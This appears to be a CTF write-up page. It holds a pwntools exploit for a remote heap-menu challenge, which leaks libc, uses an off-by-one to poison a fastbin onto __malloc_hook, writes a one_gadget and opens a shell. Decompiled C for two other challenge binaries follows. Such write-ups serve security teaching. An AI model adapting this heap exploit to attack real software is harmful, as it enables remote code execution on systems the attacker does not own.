1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
#r = process('./level6-offbyone')
r = remote('pwn.sixstars.team', 22506)
context.log_level = "debug"
def add_note(size, content):
    r.sendlineafter(">> ", "1")
    r.sendlineafter("Size:", str(size))
    r.sendafter("Content:", content)

def show_note(idx):
    r.sendlineafter(">> ", "2")
    r.sendlineafter("Input your id:", str(idx))

def edit_note(idx, content):
    r.sendlineafter(">> ", "3")
    r.sendlineafter("Input your id:", str(idx))
    r.sendafter("Content:", content)

def delete_note(idx):
    r.sendlineafter(">> ", "4")
    r.sendlineafter("Input your id:", str(idx))

#leak
add_note(0x88, 'a' * 0x88) #91
add_note(0x88, 'b' * 0x88) #91
delete_note(0)
add_note(0x8, 'a' * 0x8)
show_note(0)
malloc_hook_addr = u64((r.recvuntil('\n')[-7:-1]).ljust(8, '\x00')) - 0xE8
libc = LibcSearcher('__malloc_hook', malloc_hook_addr)
libc_base = malloc_hook_addr - libc.dump('__malloc_hook')
delete_note(0)
delete_note(1)
#off by one
add_note(0x18, 'a' * 0x18) #0
add_note(0x18, 'b' * 0x18) #1
add_note(0x68, 'c' * 0x68) #2
add_note(0x18, 'd' * 0x18) #3
edit_note(0, 'a' * 0x18 + '\x91')
delete_note(2)
delete_note(1)
add_note(0x88, 'a' * 0x18 + p64(0x71) + p64(malloc_hook_addr - 0x23) + '\n') #1
#UAF
add_note(0x68, 'c' * 0x68) #2
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = libc_base + one[2]
add_note(0x68, 'a' * 0x13 + p64(one_gadget) + '\n') #4
#delete_note(1)
delete_note(4)
r.interactive()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf; // [rsp+0h] [rbp-10h]
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, &buf, 8uLL);
      v3 = atoi(&buf);
      if ( v3 != 3 )
        break;
      delete_heap();
    }
    if ( v3 > 3 )
    {
      if ( v3 == 4 )
        exit(0);
      if ( v3 == 4869 )
      {
        if ( (unsigned __int64)magic <= 4869 )
        {
          puts("So sad !");
        }
        else
        {
          puts("Congrt !");
          l33t();
        }
      }
      else
      {
LABEL_17:
        puts("Invalid Choice");
      }
    }
    else if ( v3 == 1 )
    {
      create_heap();
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_17;
      edit_heap();
    }
  }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+Ch] [ebp-1Ch]
  unsigned int buf; // [esp+10h] [ebp-18h]
  int v6; // [esp+14h] [ebp-14h]
  int fd; // [esp+18h] [ebp-10h]
  int i; // [esp+1Ch] [ebp-Ch]

  setvbuf(stdout, 0, 2, 0);
  puts("###### Welecome to ctf game ######\ninput your name length : ");
  read_name();
  puts("let's begin guess num game ");
  fd = open("/dev/urandom", 0);
  if ( fd < 0 || read(fd, &buf, 4u) < 0 )
  {
    puts("error");
    exit(0);
  }
  close(fd);
  srand(buf);
  for ( i = 0; i <= 9; ++i )
  {
    v6 = rand() % 9 + 3;
    printf("Round %d , please guess the num : \n", i);
    fflush(stdout);
    fflush(stdin);
    __isoc99_scanf("%d", &v4);
    if ( v4 != v6 )
    {
      printf("you fail");
      exit(0);
    }
  }
  printf("u are great! this is your flag");
  getflag();
  return 0;
}